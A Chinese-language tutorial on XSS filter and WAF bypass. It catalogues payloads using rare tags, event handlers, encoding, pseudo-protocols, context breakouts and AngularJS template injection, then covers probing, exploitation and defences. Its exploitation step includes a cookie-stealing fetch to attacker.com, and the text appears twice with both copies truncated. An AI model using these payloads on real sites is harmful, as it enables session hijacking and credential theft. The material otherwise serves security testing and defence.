1. 项目概述为什么我们需要一份“高级绕过字典”在Web安全领域XSS跨站脚本攻击是一个经久不衰的话题。无论是渗透测试、CTF竞赛还是日常的安全审计我们总会遇到各种防护措施从简单的输入过滤到复杂的WAFWeb应用防火墙。新手常常会拿着网上流传的几段经典Payload如scriptalert(1)/script) 去测试结果往往是被无情地拦截然后陷入迷茫。这正是“Payload字典”存在的意义——它不是一个简单的列表而是一个经过分类、验证和思路梳理的工具箱能帮助你在面对不同防御场景时快速找到可能的突破口。我整理这份“高级绕过字典”的初衷源于无数次实战中的碰壁与复盘。你会发现很多公开的Payload合集要么过于陈旧要么缺乏上下文直接使用成功率很低。真正的“高级”在于理解每个Payload背后的绕过逻辑、适用场景以及组合变形的可能性。这份字典更像是一本“解题思路手册”它告诉你当常规的script标签被过滤时你可以尝试哪些HTML事件、哪些JavaScript伪协议、哪些字符编码技巧甚至是如何利用现代前端框架的特性。接下来我将从设计思路、核心分类、实战应用和深度技巧四个层面为你彻底拆解这份字典的价值与用法。2. 核心思路与字典结构设计一份好的绕过字典绝不是Payload的简单堆砌。它的结构必须反映攻击者的思考路径和防御方的检测逻辑。我设计的结构主要围绕以下几个核心维度展开确保你能从多个角度发起测试。2.1 基于过滤规则的绕过思路分类WAF和应用程序的过滤机制千变万化但核心思路无非几种黑名单过滤、关键字替换、语法解析等。我们的字典首先要针对这些过滤逻辑进行组织。1. 标签与事件绕过这是最基础的层面。当script、img、svg等常见标签被直接拦截时我们需要寻找那些同样能执行JavaScript但可能被忽略的冷门标签或利用标签的属性。冷门标签如details ontogglealert(1)需要用户交互、svg onloadalert(1)、body onloadalert(1)。很多WAF的规则集可能未及时更新对这些标签的检测较弱。利用标签属性不光是onload、onerror、onclick这些常见事件。像input onfocusalert(1) autofocus利用自动聚焦触发或者marquee onstartalert(1)这种古老但可能有效的标签都值得一试。2. 编码与混淆绕过这是对抗关键字检测的利器。核心思想是将Payload进行变形使其在HTTP请求中看起来“人畜无害”但被浏览器解析时又能还原为可执行的代码。HTML实体编码将尖括号、引号等特殊字符编码。例如scriptalert(1)/script可以编码为lt;scriptgt;alert(1)lt;/scriptgt;。如果应用在输出时没有正确解码这可能无效但如果过滤逻辑是先解码再检测而检测后未再次编码就可能绕过。JavaScript编码利用JavaScript自身的编码能力如Unicode转义\u0061\u006c\u0065\u0072\u0074对应alert、十六进制/八进制编码。例如eval(‘\x61\x6c\x65\x72\x74\x28\x31\x29’)。混合编码与大小写变换将上述方法组合并随机变换大小写以绕过简单的正则表达式如/alert/i。例如ScRiPtAlErT(1)/sCrIpT。3. 协议与伪协议绕过主要应用于需要URL输入的场景如a href...或location.href。JavaScript伪协议javascript:alert(1)是最基本的。可以尝试编码javascript:al\u0065rt(1)或java script:alert(1)插入Tab。Data协议data:text/html,scriptalert(1)/script。这是一个非常强大的向量因为它允许内嵌完整的HTML文档可以用于绕过对特定标签的检测。2.2 基于注入场景的Payload分类不同的XSS类型反射型、存储型、DOM型和注入点位置HTML标签内、标签属性内、JavaScript代码中、CSS中需要完全不同的Payload构造策略。字典必须按场景细分。1. 反射型/存储型HTML上下文注入到HTML标签之间直接闭合前一个标签插入新标签。如/titlescriptalert(1)/script。注入到HTML标签属性内需要先闭合属性值再闭合标签或者利用事件属性。例如 onmouseoveralert(1)或 autofocus onfocusalert(1)。2. DOM型JavaScript上下文注入到JavaScript字符串中需要先闭合字符串然后注入代码。例如如果代码是var data ‘[用户输入]’;那么Payload可以是’; alert(1);//。这里的单引号闭合了原字符串分号结束原语句//注释掉后面的原内容。注入到JavaScript函数/参数中如eval(‘[用户输入]’)那么直接输入alert(1)即可。更复杂的情况可能需要闭合括号和函数调用。3. 特殊上下文CSS上下文较少见但可能存在。例如stylecolor: [用户输入]可以输入red; background: url(‘javascript:alert(1)’);。现代浏览器大多已严格限制CSS中的JavaScript执行但在一些老旧或特定场景下仍可测试。URL上下文如前所述的javascript:和data:协议。3. 高级绕过技巧与Payload深度解析掌握了基础分类我们进入更高级的实战技巧部分。这些技巧往往需要你对浏览器解析、JavaScript语法以及应用框架有更深的理解。3.1 利用浏览器解析差异与怪异模式不同浏览器甚至同一浏览器的不同版本对HTML和JavaScript的解析可能存在细微差异。这些差异就是绕过WAF的“缝隙”。1. 标签名与属性名的特殊字符某些浏览器允许在标签名或属性名中使用非常规字符而WAF的正则可能没有覆盖。示例xss idx onfocusalert(1) tabindex1 autofocus。这里xss是一个自定义的非标准标签可能绕过针对标准标签如div,span的检测规则。利用换行符和制表符img srcx\nonerroralert(1)。将onerror属性放在新的一行可能绕过一些简单的基于单行匹配的WAF规则。2. 闭合混淆利用浏览器强大的容错能力构造看似“破碎”但能被浏览器正确解析的HTML。示例scriptalert(1)/script x或scriptalert(1)/script尾部缺少一个。许多浏览器仍然会执行其中的脚本。不闭合的标签在某些上下文中直接插入img srcx onerroralert(1)没有闭合的也可能被浏览器容错解析并执行。3. JavaScript语法技巧模板字符串在现代JavaScript中模板字符串反引号可以执行表达式。例如如果注入点在模板字符串中${alert(1)}。With语句和原型链污染在复杂的DOM型XSS中如果能够控制对象的属性可能通过with语句或污染原型链来达到执行代码的目的。这属于更高级的技巧需要结合具体代码审计。3.2 针对框架与库的特定Payload现代Web应用大量使用前端框架如React, Vue, Angular它们通常有内置的XSS防护机制。绕过它们需要更特定的知识。1. AngularJS (1.x) Client-Side Template Injection (CSTI)老版本的AngularJS在未严格沙箱化的情况下其模板表达式{{ }}可以执行JavaScript。经典Payload{{constructor.constructor(‘alert(1)’)()}}。这利用了JavaScript中函数的constructor属性来动态创建和执行函数。绕过技巧AngularJS自身有一些安全检测如禁止访问window或Function。但可以通过链式访问或使用$eval等特性绕过。例如{{$eval(‘x1; alert(1)’)}}。2. Vue.js 与 React这两个框架默认对模板内容进行HTML转义防护能力较强。常见的突破口往往不在框架本身的模板而在于危险API的误用如Vue中的v-html指令、React中的dangerouslySetInnerHTML。如果开发人员直接将用户输入传递给这些API就会导致XSS。此时的Payload就是标准的HTML/JS。服务端渲染(SSR)中的注入如果在Node.js服务端渲染时将用户输入未经过滤地拼接进发送给客户端的脚本字符串中就可能造成DOM型XSS。Payload需要针对服务端JavaScript上下文来构造。3. jQuery 与 innerHTML虽然jQuery不是框架但.html()方法和原生的innerHTML属性是XSS的重灾区。如果应用使用这些方法插入未过滤的用户数据那么任何有效的HTML/JS Payload都可能成功。重点在于如何让Payload逃过应用层的前置过滤到达这个“危险函数”的调用点。4. 实战流程从探测到利用的完整链条有了字典如何高效使用盲目“扫射”效率低下。一个系统化的流程能极大提升成功率。4.1 信息收集与注入点探测在扔出任何Payload之前你需要了解你的目标。确定输入点所有用户可控的输入都是潜在入口。包括URL参数GET、表单字段POST、HTTP头如User-Agent, Referer、Cookie甚至文件上传的文件名。探测过滤规则先使用无害的测试字符串如”’以及它们的编码变体观察输出。输出在哪里是直接回显在HTML中还是在JavaScript字符串里还是在标签属性里哪些字符被过滤或转义了尖括号变成了lt; gt;吗引号被转义或删除了吗是否有多层过滤尝试输入scriscriptpt看中间的script是否被删除导致两边的字符拼接成新的script。识别WAF通过发送一些恶意但特征明显的Payload如script观察返回状态码如403、响应头是否有WAF标识如X-Protected-By或特定的拦截页面。这有助于你判断需要多复杂的绕过技巧。4.2 分层测试与Payload选择根据探测结果从字典中选择合适的Payload类别由简到繁进行测试。基础标签测试先尝试最基础的scriptalert(document.domain)/script。用document.domain代替简单的数字可以确认漏洞影响范围是同子域还是全域名。事件处理器测试如果标签被拦尝试使用带有事件处理器的其他标签。例如img srcx onerroralert(document.domain)。注意这里srcx指向一个不存在的资源必然会触发onerror事件。编码混淆测试如果关键字如alert,onerror被检测开始使用编码。例如将alert转换为\u0061\u006c\u0065\u0072\u0074或者将整个Payload进行HTML实体编码。上下文适配测试确认注入点上下文。如果输入出现在input value’[注入点]’里那么你需要构造’ onfocusalert(1) autofocus这样的Payload来闭合属性并添加事件。高级技巧测试最后祭出针对框架、利用解析差异、或者组合多种绕过技巧的Payload。注意在测试存储型XSS时务必在授权和隔离的环境中进行。因为你的Payload可能会被存储并展示给其他真实用户造成实际影响。4.3 利用与验证当一个Payload成功弹窗后工作只完成了一半。验证稳定性尝试多种浏览器Chrome, Firefox, Safari, Edge和版本看Payload是否通用。某些绕过可能依赖于特定浏览器的解析特性。升级利用链弹出一个alert只是证明漏洞存在。真正的危害在于能做什么。将alert(document.domain)替换为更危险的代码例如窃取Cookiescriptfetch(‘https://attacker.com/steal?cookie’document.cookie)/script键盘记录注入一个监听全局键盘事件的脚本。模拟用户操作自动发起转账、关注、发布内容等请求CSRF。钓鱼在页面顶部伪造一个登录框诱骗用户输入凭证。编写漏洞报告清晰描述漏洞位置、重现步骤包含完整的HTTP请求、使用的Payload、潜在危害以及修复建议如对输出进行正确的HTML编码。5. 防御视角下的思考与Payload字典的维护作为一个负责任的安全从业者我们研究攻击是为了更好的防御。从这份绕过字典中我们可以反向推导出有效的防护策略。5.1 从绕过看防护的薄弱点字典里每一个成功的Payload都对应着防护措施的一个或多个失效点依赖黑名单永远有漏网之鱼新的HTML特性、浏览器特性层出不穷。过滤逻辑可被绕过例如只过滤一次script那么scrscriptipt就可能绕过先解码后过滤再编码的输出流程存在逻辑缺陷。上下文识别错误没有区分数据是放在HTML正文、属性、JavaScript还是URL中统一使用一种转义方式如HTML实体编码这在JavaScript上下文中是无效的甚至可能引入新的漏洞。WAF规则更新滞后对于新兴前端框架的特定攻击向量WAF规则库可能更新不及时。5.2 构建健壮的防御体系白名单输入验证在输入端根据预期的数据类型如数字、邮箱、特定格式的字符串进行严格的白名单验证拒绝任何不符合格式的输入。这是第一道也是最有效的防线。输出编码根据上下文这是防御XSS的核心。HTML上下文使用HTML实体编码如-lt;,-amp;。HTML属性上下文同样使用HTML实体编码但要注意在非引号包裹的属性中空格和特殊字符也可能造成问题所以最好始终用引号包裹属性值。JavaScript上下文将数据放入JavaScript字符串时需要进行JavaScript Unicode转义如-\u003c。最佳实践是避免将用户数据直接放入脚本而是通过>
XSS高级绕过字典：从编码混淆到框架特性的实战攻防指南
1. 项目概述为什么我们需要一份“高级绕过字典”在Web安全领域XSS跨站脚本攻击是一个经久不衰的话题。无论是渗透测试、CTF竞赛还是日常的安全审计我们总会遇到各种防护措施从简单的输入过滤到复杂的WAFWeb应用防火墙。新手常常会拿着网上流传的几段经典Payload如scriptalert(1)/script) 去测试结果往往是被无情地拦截然后陷入迷茫。这正是“Payload字典”存在的意义——它不是一个简单的列表而是一个经过分类、验证和思路梳理的工具箱能帮助你在面对不同防御场景时快速找到可能的突破口。我整理这份“高级绕过字典”的初衷源于无数次实战中的碰壁与复盘。你会发现很多公开的Payload合集要么过于陈旧要么缺乏上下文直接使用成功率很低。真正的“高级”在于理解每个Payload背后的绕过逻辑、适用场景以及组合变形的可能性。这份字典更像是一本“解题思路手册”它告诉你当常规的script标签被过滤时你可以尝试哪些HTML事件、哪些JavaScript伪协议、哪些字符编码技巧甚至是如何利用现代前端框架的特性。接下来我将从设计思路、核心分类、实战应用和深度技巧四个层面为你彻底拆解这份字典的价值与用法。2. 核心思路与字典结构设计一份好的绕过字典绝不是Payload的简单堆砌。它的结构必须反映攻击者的思考路径和防御方的检测逻辑。我设计的结构主要围绕以下几个核心维度展开确保你能从多个角度发起测试。2.1 基于过滤规则的绕过思路分类WAF和应用程序的过滤机制千变万化但核心思路无非几种黑名单过滤、关键字替换、语法解析等。我们的字典首先要针对这些过滤逻辑进行组织。1. 标签与事件绕过这是最基础的层面。当script、img、svg等常见标签被直接拦截时我们需要寻找那些同样能执行JavaScript但可能被忽略的冷门标签或利用标签的属性。冷门标签如details ontogglealert(1)需要用户交互、svg onloadalert(1)、body onloadalert(1)。很多WAF的规则集可能未及时更新对这些标签的检测较弱。利用标签属性不光是onload、onerror、onclick这些常见事件。像input onfocusalert(1) autofocus利用自动聚焦触发或者marquee onstartalert(1)这种古老但可能有效的标签都值得一试。2. 编码与混淆绕过这是对抗关键字检测的利器。核心思想是将Payload进行变形使其在HTTP请求中看起来“人畜无害”但被浏览器解析时又能还原为可执行的代码。HTML实体编码将尖括号、引号等特殊字符编码。例如scriptalert(1)/script可以编码为lt;scriptgt;alert(1)lt;/scriptgt;。如果应用在输出时没有正确解码这可能无效但如果过滤逻辑是先解码再检测而检测后未再次编码就可能绕过。JavaScript编码利用JavaScript自身的编码能力如Unicode转义\u0061\u006c\u0065\u0072\u0074对应alert、十六进制/八进制编码。例如eval(‘\x61\x6c\x65\x72\x74\x28\x31\x29’)。混合编码与大小写变换将上述方法组合并随机变换大小写以绕过简单的正则表达式如/alert/i。例如ScRiPtAlErT(1)/sCrIpT。3. 协议与伪协议绕过主要应用于需要URL输入的场景如a href...或location.href。JavaScript伪协议javascript:alert(1)是最基本的。可以尝试编码javascript:al\u0065rt(1)或java script:alert(1)插入Tab。Data协议data:text/html,scriptalert(1)/script。这是一个非常强大的向量因为它允许内嵌完整的HTML文档可以用于绕过对特定标签的检测。2.2 基于注入场景的Payload分类不同的XSS类型反射型、存储型、DOM型和注入点位置HTML标签内、标签属性内、JavaScript代码中、CSS中需要完全不同的Payload构造策略。字典必须按场景细分。1. 反射型/存储型HTML上下文注入到HTML标签之间直接闭合前一个标签插入新标签。如/titlescriptalert(1)/script。注入到HTML标签属性内需要先闭合属性值再闭合标签或者利用事件属性。例如 onmouseoveralert(1)或 autofocus onfocusalert(1)。2. DOM型JavaScript上下文注入到JavaScript字符串中需要先闭合字符串然后注入代码。例如如果代码是var data ‘[用户输入]’;那么Payload可以是’; alert(1);//。这里的单引号闭合了原字符串分号结束原语句//注释掉后面的原内容。注入到JavaScript函数/参数中如eval(‘[用户输入]’)那么直接输入alert(1)即可。更复杂的情况可能需要闭合括号和函数调用。3. 特殊上下文CSS上下文较少见但可能存在。例如stylecolor: [用户输入]可以输入red; background: url(‘javascript:alert(1)’);。现代浏览器大多已严格限制CSS中的JavaScript执行但在一些老旧或特定场景下仍可测试。URL上下文如前所述的javascript:和data:协议。3. 高级绕过技巧与Payload深度解析掌握了基础分类我们进入更高级的实战技巧部分。这些技巧往往需要你对浏览器解析、JavaScript语法以及应用框架有更深的理解。3.1 利用浏览器解析差异与怪异模式不同浏览器甚至同一浏览器的不同版本对HTML和JavaScript的解析可能存在细微差异。这些差异就是绕过WAF的“缝隙”。1. 标签名与属性名的特殊字符某些浏览器允许在标签名或属性名中使用非常规字符而WAF的正则可能没有覆盖。示例xss idx onfocusalert(1) tabindex1 autofocus。这里xss是一个自定义的非标准标签可能绕过针对标准标签如div,span的检测规则。利用换行符和制表符img srcx\nonerroralert(1)。将onerror属性放在新的一行可能绕过一些简单的基于单行匹配的WAF规则。2. 闭合混淆利用浏览器强大的容错能力构造看似“破碎”但能被浏览器正确解析的HTML。示例scriptalert(1)/script x或scriptalert(1)/script尾部缺少一个。许多浏览器仍然会执行其中的脚本。不闭合的标签在某些上下文中直接插入img srcx onerroralert(1)没有闭合的也可能被浏览器容错解析并执行。3. JavaScript语法技巧模板字符串在现代JavaScript中模板字符串反引号可以执行表达式。例如如果注入点在模板字符串中${alert(1)}。With语句和原型链污染在复杂的DOM型XSS中如果能够控制对象的属性可能通过with语句或污染原型链来达到执行代码的目的。这属于更高级的技巧需要结合具体代码审计。3.2 针对框架与库的特定Payload现代Web应用大量使用前端框架如React, Vue, Angular它们通常有内置的XSS防护机制。绕过它们需要更特定的知识。1. AngularJS (1.x) Client-Side Template Injection (CSTI)老版本的AngularJS在未严格沙箱化的情况下其模板表达式{{ }}可以执行JavaScript。经典Payload{{constructor.constructor(‘alert(1)’)()}}。这利用了JavaScript中函数的constructor属性来动态创建和执行函数。绕过技巧AngularJS自身有一些安全检测如禁止访问window或Function。但可以通过链式访问或使用$eval等特性绕过。例如{{$eval(‘x1; alert(1)’)}}。2. Vue.js 与 React这两个框架默认对模板内容进行HTML转义防护能力较强。常见的突破口往往不在框架本身的模板而在于危险API的误用如Vue中的v-html指令、React中的dangerouslySetInnerHTML。如果开发人员直接将用户输入传递给这些API就会导致XSS。此时的Payload就是标准的HTML/JS。服务端渲染(SSR)中的注入如果在Node.js服务端渲染时将用户输入未经过滤地拼接进发送给客户端的脚本字符串中就可能造成DOM型XSS。Payload需要针对服务端JavaScript上下文来构造。3. jQuery 与 innerHTML虽然jQuery不是框架但.html()方法和原生的innerHTML属性是XSS的重灾区。如果应用使用这些方法插入未过滤的用户数据那么任何有效的HTML/JS Payload都可能成功。重点在于如何让Payload逃过应用层的前置过滤到达这个“危险函数”的调用点。4. 实战流程从探测到利用的完整链条有了字典如何高效使用盲目“扫射”效率低下。一个系统化的流程能极大提升成功率。4.1 信息收集与注入点探测在扔出任何Payload之前你需要了解你的目标。确定输入点所有用户可控的输入都是潜在入口。包括URL参数GET、表单字段POST、HTTP头如User-Agent, Referer、Cookie甚至文件上传的文件名。探测过滤规则先使用无害的测试字符串如”’以及它们的编码变体观察输出。输出在哪里是直接回显在HTML中还是在JavaScript字符串里还是在标签属性里哪些字符被过滤或转义了尖括号变成了lt; gt;吗引号被转义或删除了吗是否有多层过滤尝试输入scriscriptpt看中间的script是否被删除导致两边的字符拼接成新的script。识别WAF通过发送一些恶意但特征明显的Payload如script观察返回状态码如403、响应头是否有WAF标识如X-Protected-By或特定的拦截页面。这有助于你判断需要多复杂的绕过技巧。4.2 分层测试与Payload选择根据探测结果从字典中选择合适的Payload类别由简到繁进行测试。基础标签测试先尝试最基础的scriptalert(document.domain)/script。用document.domain代替简单的数字可以确认漏洞影响范围是同子域还是全域名。事件处理器测试如果标签被拦尝试使用带有事件处理器的其他标签。例如img srcx onerroralert(document.domain)。注意这里srcx指向一个不存在的资源必然会触发onerror事件。编码混淆测试如果关键字如alert,onerror被检测开始使用编码。例如将alert转换为\u0061\u006c\u0065\u0072\u0074或者将整个Payload进行HTML实体编码。上下文适配测试确认注入点上下文。如果输入出现在input value’[注入点]’里那么你需要构造’ onfocusalert(1) autofocus这样的Payload来闭合属性并添加事件。高级技巧测试最后祭出针对框架、利用解析差异、或者组合多种绕过技巧的Payload。注意在测试存储型XSS时务必在授权和隔离的环境中进行。因为你的Payload可能会被存储并展示给其他真实用户造成实际影响。4.3 利用与验证当一个Payload成功弹窗后工作只完成了一半。验证稳定性尝试多种浏览器Chrome, Firefox, Safari, Edge和版本看Payload是否通用。某些绕过可能依赖于特定浏览器的解析特性。升级利用链弹出一个alert只是证明漏洞存在。真正的危害在于能做什么。将alert(document.domain)替换为更危险的代码例如窃取Cookiescriptfetch(‘https://attacker.com/steal?cookie’document.cookie)/script键盘记录注入一个监听全局键盘事件的脚本。模拟用户操作自动发起转账、关注、发布内容等请求CSRF。钓鱼在页面顶部伪造一个登录框诱骗用户输入凭证。编写漏洞报告清晰描述漏洞位置、重现步骤包含完整的HTTP请求、使用的Payload、潜在危害以及修复建议如对输出进行正确的HTML编码。5. 防御视角下的思考与Payload字典的维护作为一个负责任的安全从业者我们研究攻击是为了更好的防御。从这份绕过字典中我们可以反向推导出有效的防护策略。5.1 从绕过看防护的薄弱点字典里每一个成功的Payload都对应着防护措施的一个或多个失效点依赖黑名单永远有漏网之鱼新的HTML特性、浏览器特性层出不穷。过滤逻辑可被绕过例如只过滤一次script那么scrscriptipt就可能绕过先解码后过滤再编码的输出流程存在逻辑缺陷。上下文识别错误没有区分数据是放在HTML正文、属性、JavaScript还是URL中统一使用一种转义方式如HTML实体编码这在JavaScript上下文中是无效的甚至可能引入新的漏洞。WAF规则更新滞后对于新兴前端框架的特定攻击向量WAF规则库可能更新不及时。5.2 构建健壮的防御体系白名单输入验证在输入端根据预期的数据类型如数字、邮箱、特定格式的字符串进行严格的白名单验证拒绝任何不符合格式的输入。这是第一道也是最有效的防线。输出编码根据上下文这是防御XSS的核心。HTML上下文使用HTML实体编码如-lt;,-amp;。HTML属性上下文同样使用HTML实体编码但要注意在非引号包裹的属性中空格和特殊字符也可能造成问题所以最好始终用引号包裹属性值。JavaScript上下文将数据放入JavaScript字符串时需要进行JavaScript Unicode转义如-\u003c。最佳实践是避免将用户数据直接放入脚本而是通过>
